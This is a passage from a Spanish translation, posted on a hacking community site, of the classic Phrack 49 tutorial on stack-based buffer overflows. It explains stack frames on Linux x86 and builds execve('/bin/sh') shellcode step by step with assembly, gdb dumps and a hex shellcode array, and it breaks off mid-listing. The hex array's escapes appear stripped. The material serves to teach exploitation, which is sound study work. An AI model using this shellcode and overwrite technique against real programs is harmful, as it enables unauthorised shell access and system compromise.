Notas

Index · Libro de Visitas · Foro de discusion · e-mail · Chat


Informacion

. El canal

. Cursos

. Recursos

. Links

. Comunidad

Multimedia

. Cracks

. Downloads

. Mp3

. Scripts

Noticias

. Novedades

. Noticias del web

. Mundo irc

. Notas

Contactanos

. Escribenos

. Foro

. Libro de visitas

. Chat

 



Fuente: Phrack 49 Autor: Phrack 49
Traducción: Honoriak
Buffer Overflow

"Smash the stack" (bajo C) n. En algunas implementaciones de C es posible corromper la pila de ejecucion (execution stack) escribiendo mas alla del fin de una cadena declarada auto en una rutina. El codigo que hace esto posible se dice que desborda la pila (smash the stack), y puede causar el retorno de la rutina y el salto a una direccion casual. Esto puede producir algunos de los mas malignos bugs conocidos hasta ahora. Existen ciertas variantes (de traduccion literal dudosa) que reciben los siguientes nombres (en ingles): trash the stack, scribble the stack, mangle the stack. Tambien se suele usar para describir "smash the stack"; alias bug, fandango on core, memory leak, precedence lossage, overrun screw.

    
Introducción
~~~~~~~~~

Desde hace unos meses ha habido un incremento en las vulnerabilidades de desbordamiento de buffer siendo tanto descubiertas como explotadas. Ejemplos de esto son syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, etc...  Este texto pretende explicar que son los buffer overflows, y como trabajan los exploits que se aprovechan de dichos fallos.  Es necesario que conozcas ensamblador de forma basica para entender lo aqui expuesto. Un conocimiento de conceptos
relacionados con la memoria virtual, y experiencia con el gdb (GNU debugger) te seran de mucha ayuda pero no estrictamente necesarios. Se asume que se trabaja con Intel x86 CPU y que el sistema operativo es linux.
Algunas definiciones basicas antes de empezar: Un buffer es simplemente un bloque contiguo de memoria que mantiene multiples registros del mismo tipo de datos. Los programadores que trabajan con C normalmente lo asocian con los buffers usados en los arrays de cadena. Mas comunmente, arrays de caracteres. Los arrays, como todas las variables en C, pueden ser declaradas o bien dinamicas o bien estaticas. Las variables estaticas son cargadas en el segmento de datos en el momento de carga. Las variables dinamicas se alojan en la pila en el tiempo de ejecucion. Desbordar el buffer es como dice como se deduce de la traduccion del termino ingles, llenar por encima del limite, es decir, desbordar. En lo que se refiere a este texto, solo se va a tratar el desbordamiento de buffer dinamicos, o tambien conocidos como "stack-based buffer overflows".

   
Proceso de organizacion de memoria
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Para entender que son los stack buffers debemos entender primero como es el proceso de organizacion de la memoria.  Los procesos se dividen en tres regiones: texto, datos y stack (pila). Nos vamos a concentrar en la region de pila pero primero veamos de forma escueta las otras regiones. La region de texto es organizada por el programa e incluye codigo (instrucciones) y datos de solo-lectura. Esta seccion se corresponde con la seccion de texto de un fichero ejecutable. Esta region es normalmente de solo lectura y cuando se intenta escribir en ella el resultado es una "segmentation violation".

La region de datos contiene datos inicializados y no inicializados. Las variables estaticas se encuentran en esta region. La region de datos corresponde a las secciones de datos-bbs de un fichero ejecutable. Sus dimensiones pueden ser cambiadas con la llamada del sistema brk(2). Si la expansion de los bbs-datos o de la pila del usuario usa toda la memoria disponible, el proceso es bloqueado y reiniciado de nuevo con mas espacio de memoria. La nueva memoria se dispone entre los datos y los segmentos de pila.
      


Que es una pila?
~~~~~~~~~~~~

Una pila, de forma abstracta, es un tipo de datos frecuentemente usados en informatica. Una pila de objetos tiene la propiedad de que el ultimo objeto dispuesto en la pila sera el primer objeto en ser borrado. Esta propiedad es comunmente atribuida tanto al final, primero fuera de la cola, o LIFO.

Algunas operaciones estan definidas en pilas (stacks). Dos de las mas importantes son PUSH y POP. PUSH aumenta un elemento en la parte superior de la pila. POP, en cambio, reduce las dimensiones de la pila en uno, borrando el ultimo elemento de la parte superior de la pila.

      
Por que usamos una pila?
~~~~~~~~~~~~~~~~~~~

Los ordenadores modernos estan hechos pensando en el uso de lenguajes de alto nivel. La tecnica mas importante de estructuracion de programas en lenguajes de alto nivel la funcion o procedimiento. Desde un punto de vista, una llamada a una funcion altera el flujo de control mediante un salto, pero, al contrario de un salto, cuando termina su tarea, la funcion devuelve el control a la declaracion o instruccion que viene a continuacion. Esta abstraccion tipica de lenguajes
de alto nivel es implementada con la ayuda de la pila.  La pila es tambien usada para localizar dinamicamente variables usadas en funciones, para pasar parametros a funciones, y recoger valores que se desprenden de la ejecucion de la funcion.

       
La region de la pila (stack region)
~~~~~~~~~~~~~~~~~~~~~~~~

Una pila es un bloque contiguo de memoria que contiene datos. Una llamada al registro del puntero de una pila (SP) se situa en la parte superior de la pila. La parte baja de la pila esta en una direccion fija. Sus dimensiones son ajustadas dinamicamente por el kernel en tiempo de ejecucion. La CPU implementa para "PUSH en" y "POP de" la pila.

La pila consta de marcos logicos de pila que son PUSHED cuando llamas a una funcion y POPPED cuando se devuelve el control desde la funcion. Un marco de pila contiene los parametros para una funcion, sus variables locales, y los datos necesarios para recuperar el marco de pila previo, incluyendo el valor del puntero de la instruccion al tiempo de la llamada a la funcion.

Dependiendo de la implementacion de la pila decrecera (hacia direcciones de memoria mas bajas) o crecera. En nuestros ejemplos usaremos una pila que decrece. Esta es la forma en que la pila funciona en la mayoria de sistemas incluyendo Intel, Motorola, SPARC y MIPS. El puntero de la pila es tambien una implementacion dependiente. El bien apunta a la ultima direccion de memoria en la pila o bien a la siguiente direccion de memoria libre despues de la pila. En este caso, asumiremos que apunta a la ultima direccion de memoria de la pila.

En adicion al puntero de la pila, el cual apunta a la parte superior de la pila (direccion numerica mas baja), es a menudo conveniente tener un puntero a un marco (FP) que apunta a una localizacion fija dentro de un marco. Algunos textos tambien se refieren a ello como un puntero de base local (LB). En principio, las variables locales podrian ser situadas dando sus "offsets" desde SP . Aunque, como son PUSHED y POPPED de la pila, estos "offsets" cambian. Si bien en algunos casos el compilador puede mantener la marca del numero de datos en la pila y corregir los offsets, en otros no puede, y en todo los casos una administracion considerable es necesaria. En algunas maquinas, como las basadas en procesadores Intel, el acceso a una variable en una distancia conocida de un SP requiere instrucciones multiples.

En consecuencia, algunos compiladores usan un segundo registro, FP, para referirse tanto a variables locales como parametros porque sus distancias de FP no cambian con PUSHES y POPS. En la cpus de Intel, BP (EBP) es usada para este proposito. En las cpus de Motorola, alguna direccion de registro excepto A7 (el puntero de pila) lo hara. Porque la forma en que la pila varia, los parametros actuales tienen offsets positivos y la variables locales tienen offsets negativos de FP.

La primera cosa que debe hacer un procedimiento al ser llamado es salvar el anterior FP. Despues, copia el SP a FP para crear el nuevo FP, y SP avanza para reservar espacio para las variables locales. Este codigo recibe el nombre de procedimiento prolog (procedure prolog). En el proceso de salida, la pila debe de ser limpiada de nuevo, esto recibe el nombre de procedimiento epilog (procedure epilog). Las instruccions de Intel ENTER y LEAVE y las instrucciones de motorola LINK y UNLINK, han sido creadas para realizar de una forma mas eficientes los procedimientos prolog y epilog.

 Veremos como funciona la pila en un simple ejemplo:

ejemplo1.c:
-----------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
}

void main() {
  function(1,2,3);
}
-----------------------------------------------------------------------

Para entender que hace el programa en la llamada function() se compila con gcc usando el -S para generar una salida de codigo ensamblador:

$ gcc -S -o ejemplo1.s ejemplo1.c

Mirando la salida de lenguaje ensamblador se ve que la llamda a la funcion es traducida como:

        pushl $3
        pushl $2
        pushl $1
        call function

Esto mueve los tres argumentos de la funcion hacia atras en la pila, y a continuacion llama a function(). La instruccion 'call' movera el puntero de la instruccion (IP) a la pila. A la IP guardada se le llamara return address (RET, direccion de vuelta). Lo primero que hace en la funcion es el procedimiento prolog:

        pushl %ebp
        movl %esp,%ebp
        subl $20,%esp

Esto mueve EBP, el puntero de marco, a la pila. Despues copia el actual SP a EBP, haciendo el nuevo puntero FP.  Al puntero FP guardado se le llama SFP.Despues se libera espacio para las variables locales redimensionando SP.

Se debe recordar que la memoria solo puede ser almacenada en multiplos de "word". Una word en nuestro caso es 4 bytes, o 32 bits. Asi que nuestro buffer de 5 bytes va a ocupar en realidad 8 bytes (2 words) de memoria, y nuestro buffer de 10 bytes tomara 12 bytes (3 words) de memoria. Esto se debe a que SP es sustraido por 20.  Sabiendo eso, nuestra pila es como esta cuando se llama a function() (cada espacio representa un byte):

parte baja       parte alta
de memoria                                                      de memoria
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]

parte alta                                                      parte baja
de la pila                                                      de la pila


    Buffer overflows
    ~~~~~~~~~~~

Un buffer overflow es el resultado de incluir mas datos en el buffer de los que puede tener. Como se puede encontrar esto a menudo en errores de programacion que pueden ser aprovechados para ejecutar codigo arbitrario?
Observa otro ejemplo:

ejemplo2.c
-----------------------------------------------------------------------
void function(char *str) {
   char buffer[16];

   strcpy(buffer,str);
}

void main() {
  char large_string[256];
  int i;

  for( i = 0; i < 255; i++)
    large_string[i] = 'A';
  function(large_string);
}
-----------------------------------------------------------------------

Este programa tiene una funcion con un tipico error de codigo de buffer overflow. La funcion copia una cadena suministrada sin chequear el limite usando strcpy() en vez de strncpy(). Si tu ejecutas este programa llegaras a una violacion de segmento.  Veamos como queda la pila cuando llamamos a la funcion:

parte baja                                                        parte alta    top of
de memoria                                                        de memoria
                  buffer            sfp   ret   *str
<------          [                ][    ][    ][    ]

parte alta                                                        parte baja
de pila                                                           de pila

Que esta pasando aqui? Por que se obtiene una violacion de segmento? Simple. strcpy() esta copiando el contenido de *str (cadena_maslarga[]) a buffer[] hasta que un caracter nulo es encontrado en la cadena. Como puedes ver buffer[] es mucho mas reducido que *str. buffer[] ocupa 16 bytes, e intentamos llenarlo con 256 bytes. Esto significa que todos los 250 bytes despues del buffer en la pila estan siendo sobreescritos. Esto incluye SFP, RET e incluso *str. Habiamos llenado large_string con las letras 'A'. Esta letra en hexadecimal es 0x41.  Eso significa que la direccion de retorno (return address) es ahora 0x41414141. Esto esta fuera del proceso "address space". Eso es porque cuando la funcion vuelve e intenta leer la siguiente instruccion de esa direccion se obtiene una violacion de segmento.

Asi que un buffer overflow nos permite cambiar la direccion de retorno (return address) de una funcion. Vamos a nuestro primer ejemplo y veamos de nuevo como se disponia la pila:

parte baja                                                      parte alta
de memoria                                                      de memoria
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]

parte alta                                                      parte baja
de la pila                                                      de la pila

Intentemos modificar nuestro primer ejemplo para que sobreescriba la direccion de retorno (return address), y demostrar como podemos hacer para ejecutar codigo arbitrario. Antes de buffer1[] en la pila esta SFP, y antes de esto, la direccion de retorno (return address). Eso es 4 bytes despues del final de buffer1[]. Pero recuerda que buffer1[] son 2 word asi que tiene una longitud de 8 bytes. Asi que la direccion de retorno (return address) esta a 12 bytes desde el principio de buffer1[]. Modificaremos el valor de retorno en tal modo que la declaracion 'x = 1'  despues de la llamada a la funcion sera saltada. Haciendo esto aumentaremos 8 bytes a la direccion de retorno.
Nuestro codigo esta ahora:

ejemplo3.c:
-----------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;

   ret = buffer1 + 12;
   (*ret) += 8;
}

void main() {
  int x;

  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d ",x);
}
-----------------------------------------------------------------------

Lo que hemos hecho es aumentar 12 a la direccion del buffer1[]. Esta nueva direccion es donde se almacenaba la direccion de retorno (return address). Queremos pasar por alto la asignacion a la llamada printf. Como aumentamos en 8 la direccion de retorno (return address)? Usamos primero un valor de testeo (por ejemplo 1), compilamos el programa, y despues usamos el gdb:

-----------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490

:       pushl  %ebp
0x8000491 :     movl   %esp,%ebp
0x8000493 :     subl   $0x4,%esp
0x8000496 :     movl   $0x0,0xfffffffc(%ebp)
0x800049d :    pushl  $0x3
0x800049f :    pushl  $0x2
0x80004a1 :    pushl  $0x1
0x80004a3 :    call   0x8000470
0x80004a8 :    addl   $0xc,%esp
0x80004ab :    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 :    movl   0xfffffffc(%ebp),%eax
0x80004b5 :    pushl  %eax
0x80004b6 :    pushl  $0x80004f8
0x80004bb :    call   0x8000378
0x80004c0 :    addl   $0x8,%esp
0x80004c3 :    movl   %ebp,%esp
0x80004c5 :    popl   %ebp
0x80004c6 :    ret
0x80004c7 :    nop
-----------------------------------------------------------------------

Se puede ver que cuando llamamos a function() la RET es 0x8004a8, y queremos saltar a la asignacion 0x80004ab.  La siguiente instruccion que queremos ejecutar es la de 0x8004b2. Un uso de las matematicas nos dices que la distancia es 8 bytes.

                                  
Shell Code
~~~~~~~~

Ahora que sabes que se puede modificar la direccion de retorno (return address) y el flujo de ejecucion, que programa queremos ejecutar? En la mayoria de los casos querremos el programa simplemente para producir una shell.  Desde la shell podemos usar los comandos que deseemos. Pero que pasa si no hay tal codigo en el programa que estamos intentando "exploitear"? Como podemos emplazar arbitrariamente instrucciones en el espacio de una direccion de memoria? La respuesta es situar el codigo que estamos intentando ejecutar en el buffer que estamos desbordando, y sobreescribir la direccion de retorno asi que apuntara hacia atras en el buffer. Asumiendo que la pila empieza en la direccion 0xFF, y que S es del codigo que queremos ejecutar la pila apareceria como a continuacion:


parte baja                                                            parte alta
de memoria                                                        de memoria
DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF
89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF
                   buffer                                sfp     ret        a      b      c

<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
         ^                                                |
         |____________________________|
parte alta                                                        parte baja
de la pila                                                        de la pila


El codigo para crear la shell en C es como el que viene a continuacion:

shellcode.c
-----------------------------------------------------------------------
#include
void main() {
   char *name[2];

   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
-----------------------------------------------------------------------
Para saber como funciona analizaremos el lo que compila en ensamblador, y empezaremos con gdb. Recuerda
usar la sintaxis con -static. El codigo actual no tendra la llamada al sistema execve incluida. Habra una referencia a una
libreria dinamica de C que seria normalmente linkada en el momento de carga.

-----------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130

:       pushl  %ebp
0x8000131 :     movl   %esp,%ebp
0x8000133 :     subl   $0x8,%esp
0x8000136 :     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d :    movl   $0x0,0xfffffffc(%ebp)
0x8000144 :    pushl  $0x0
0x8000146 :    leal   0xfffffff8(%ebp),%eax
0x8000149 :    pushl  %eax
0x800014a :    movl   0xfffffff8(%ebp),%eax
0x800014d :    pushl  %eax
0x800014e :    call   0x80002bc <__execve>
0x8000153 :    addl   $0xc,%esp
0x8000156 :    movl   %ebp,%esp
0x8000158 :    popl   %ebp
0x8000159 :    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
-----------------------------------------------------------------------
Intentaremos entender como va todo esto. Empezaremos por el estudio del main:

-----------------------------------------------------------------------
0x8000130

:       pushl  %ebp
0x8000131 :     movl   %esp,%ebp
0x8000133 :     subl   $0x8,%esp

 Este es el procedimiento inicial. Primero guarda el puntero al  antiguo marco, hace el actual puntero de pila
(stack pointer) el nuevo puntero de marco (frame pointer), y deja espacio para las variables  locales.
En este caso de:

 char *name[2];

 o 2 punteros a char. Puntero son "word" largas, asi que dejamos  espacio para 2 "words" (8 bytes).

0x8000136 :     movl   $0x80027b8,0xfffffff8(%ebp)

 Copiamos el valor 0x80027b8 (la direccion de la cadena "/bin/sh/")  al primer puntero de name[].
Esto es equivalente a:

        name[0] = "/bin/sh";

0x800013d :    movl   $0x0,0xfffffffc(%ebp)

 Copiamos el valor 0x0 (NULL) al segundo puntero de name[]. Esto es equivalente a:

 name[1] = NULL;

 La llamada actual a execve() empieza aqui.

0x8000144 :    pushl  $0x0

 Pasamos los argumentos a execve() en orden inverso en la pila.
 Empezamos con NULL.

0x8000146 :    leal   0xfffffff8(%ebp),%eax

 Cargamos la direccion de name[] al registro EAX.

0x8000149 :    pushl  %eax

 Pasamos la direccion de name[] a la pila.

0x800014a :    movl   0xfffffff8(%ebp),%eax

 Cargamos la direccion de la cadena "/bin/sh" al registro EAX.

0x800014d :    pushl  %eax

 Pasamos la direccion de la cadena "/bin/sh" a la pila.

0x800014e :    call   0x80002bc <__execve>

 Llamamos a la libreria de procedimiento execve(). La instruccion de  llamada pasa la IP a la pila.

-----------------------------------------------------------------------

Ahora execve(). Manten en mente que se usa Intel y Linux como sistema. Los detalles de las llamadas al sistema cambiaran de SO a SO, y de CPU a CPU. Algunos pasaran los argumentos a la pila, otros a los registros. Unos usan una interrupcion por software para pasar a kernel mode, otros usan una llamada. Linux pasa sus argumentos a las llamadas de sistema a traves de registros, y usa interrupciones por software para pasar a kernel mode.

-----------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx

 El procedimiento inicial.

0x80002c0 <__execve+4>: movl   $0xb,%eax

 Copia 0xb (11 decimal) a la pila. Este es el inicio en la tabla de
 llamadas al sistema. 11 es execve.

0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
 
 Copia la direccion de "/bin/sh" a EBX.

0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

 Copia la direccion de name[] a ECX.

0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

 Copia la direccion del puntero null a %edx.

0x80002ce <__execve+18>:        int    $0x80

 Cambia a kernel mode.

-----------------------------------------------------------------------

Tal como podemos ver no hay mucho en la llamada al sistema execve(). Todo lo que necesitamos hacer es:

 a) Tener en algun lugar de la memoria la cadena "/bin/sh".
 b) Tener la direccion de memoria de la cadena "/bin/sh" en algun lugar en memoria seguida por una "word" larga nula.
 c) Copiar 0xb al registro EAX.
 d) Copiar la direccion de la direccion de la cadena "/bin/sh" al registro EBX.
 e) Copiar la direccion de la cadena "/bin/sh" al registro ECX.
 f) Copiar la direccion de la "word" larga nula al registro EDX.
 g) Ejecutar la instruccion int $0x80.

Pero que pasa si la llamada execve() falla por alguna razon? El programa continuara trayendo instrucciones desde la pila, que a lo mejor contienen datos casuales. El programa seguramente parecera core dump. Se quiere que el programa salga limpiamente cuando la llamada al sistema execve() falle. Para conseguir esto debemos poner una llamada al sistema de salida despues de la llamada al sistema execve. Como aparece la llamada al sistema de salida?

exit.c
-----------------------------------------------------------------------
#include

void main() {
        exit(0);
}
-----------------------------------------------------------------------

-----------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
-----------------------------------------------------------------------

La llamada al sistema sera colocada en 0x1 en EAX, lugar de codigo de salida en EBX, y ejecutara "int 0x80".  Eso es. La mayoria de las aplicaciones devuelven 0 y salen al no indicar errores. Colocaremos cero e EBX. Nuestra lista de pasos ahora es:

 a) Tener en algun lugar de la memoria la cadena "/bin/sh".
        b) Tener la direccion de memoria de la cadena "/bin/sh" en algun lugar en memoria seguida por una "word" larga nula.
        c) Copiar 0xb al registro EAX.
        d) Copiar la direccion de la direccion de la cadena "/bin/sh" al registro EBX.
        e) Copiar la direccion de la cadena "/bin/sh" al registro ECX.
        f) Copiar la direccion de la "word" larga nula al registro EDX.
        g) Ejecutar la instruccion int $0x80.
        h) Copiar 0x1 al registro EAX.
        i) Copiar 0x0 al registro EBX.
        j) Ejecutar la instruccion int $0x80.

Intentaremos poner todo esto en lenguaje ensamblador, situando la cadena despues del codigo, y recordando situar la direccion de la cadena, y la "word" nula despues de la cadena. Aqui lo tenemos:

-----------------------------------------------------------------------
        movl   string_addr,string_addr_addr
        movb   $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
        int    $0x80
        /bin/sh string goes here.
-----------------------------------------------------------------------

El problema es que no se sabe en que espacio de memoria del programa intentamos "exploitear" el codigo (y la cadena que le sigue) que ser situado.  Una forma de hacerlo es usar un JMP, y una instruccion CALL. Las instrucciones JMP y CALL pueden usar direcciones relativas IP, lo que significa que saltamos a un offset desde la IP actual sin necesitar saber la direccion exacta de memoria a la que queremos saltar. Si se situa la instruccion CALL antes de la cadena "/bin/sh", y una instruccion JMP a ella, la direccion de la cadena sera puesta en la pila como la direccion de retorno (return address) cuando CALL sea ejecutado. Todo lo necesario despues de esto, es copiar la direccion de retorno (return address) al registro. Asumiendo ahora que J representa la instruccion JMP, C la instruccion CALL, y s para la cadena, el flujo de ejecucion seria asi:


parte baja DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     parte alta
de la mem  89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     de la memoriamemory
                                 sfp   ret   a     b     c

<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
parte alta                                                                          parte baja
de la pila                                                                          de la pila


Con estas modificaciones, usando una direccion indexada, y escribiendo los bytes que ocupa cada instruccion
el codigo es como a continuacion se detalla:

-----------------------------------------------------------------------
        jmp    offset-to-call           # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,array-offset(%esi)  # 3 bytes
        movb   $0x0,nullbyteoffset(%esi)# 4 bytes
        movl   $0x0,null-offset(%esi)   # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   array-offset,(%esi),%ecx # 3 bytes
        leal   null-offset(%esi),%edx   # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   offset-to-popl           # 5 bytes
        /bin/sh string goes here.
-----------------------------------------------------------------------
  
Calculando los offset desde jmp a call, de call a popl, de la direccion de la cadena al array, y de la direccion de la
cadena a la null long word, tenemos ahora:

-----------------------------------------------------------------------
        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2b                    # 5 bytes
        .string "/bin/sh"             # 8 bytes
-----------------------------------------------------------------------

Parece estar bien. Para estar seguros de que funciona correctamente debemos compilarlo y ejecutarlo.
Pero hay un problema. Nuestro codigo se modifica, pero la mayoria de los sistemas operativos consideran
el codigo como de solo-lectura. Para conseguir romper esta restriccion debemos situar el
codigo que deseamos ejecutar en la pila o segmento de datos, y transferrir el control a el. Para hacer esto situaremos
el codigo en un array global en el segmento de datos. Primero necesitamos una representacion hexadecimal del
codigo binario. Compilemos primero, y despues usemos gdb para obtenerlo.

shellcodeasm.c
-----------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string "/bin/sh"             # 8 bytes
");
}
-----------------------------------------------------------------------

-----------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation,
Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130

:       pushl  %ebp
0x8000131 :     movl   %esp,%ebp
0x8000133 :     jmp    0x800015f
0x8000135 :     popl   %esi
0x8000136 :     movl   %esi,0x8(%esi)
0x8000139 :     movb   $0x0,0x7(%esi)
0x800013d :    movl   $0x0,0xc(%esi)
0x8000144 :    movl   $0xb,%eax
0x8000149 :    movl   %esi,%ebx
0x800014b :    leal   0x8(%esi),%ecx
0x800014e :    leal   0xc(%esi),%edx
0x8000151 :    int    $0x80
0x8000153 :    movl   $0x1,%eax
0x8000158 :    movl   $0x0,%ebx
0x800015d :    int    $0x80
0x800015f :    call   0x8000135
0x8000164 :    das
0x8000165 :    boundl 0x6e(%ecx),%ebp
0x8000168 :    das
0x8000169 :    jae    0x80001d3 <__new_exitfn+55>
0x800016b :    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 :     0xeb
(gdb)
0x8000134 :     0x2a
(gdb)
.
.
.
-----------------------------------------------------------------------

testsc.c
-----------------------------------------------------------------------
char shellcode[] =
        "xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00"
        "x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80"
        "xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxff"
        "xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3";

void main() {
   int *ret;

   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;

}
-----------------------------------------------------------------------
-----------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
-----------------------------------------------------------------------

Funciona, pero hay un problema. En la mayoria de los casos estaremos intentando desbordar un buffer de caracteres.  Al haber bytes nulos en el shellcode seran considerados el fin de la cadena, y la copia sera terminada. No debe de haber bytes nullos en el shellcode para que el exploit funcione. Intentaremos eliminar los bytes (y al mismo tiempo hacerlo mas reducido).

           Problem instruction:                 Substitute with:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
           molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------

El codigo mejorado sera:

shellcodeasm2.c
-----------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
        movb   %eax,0x7(%esi)           # 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
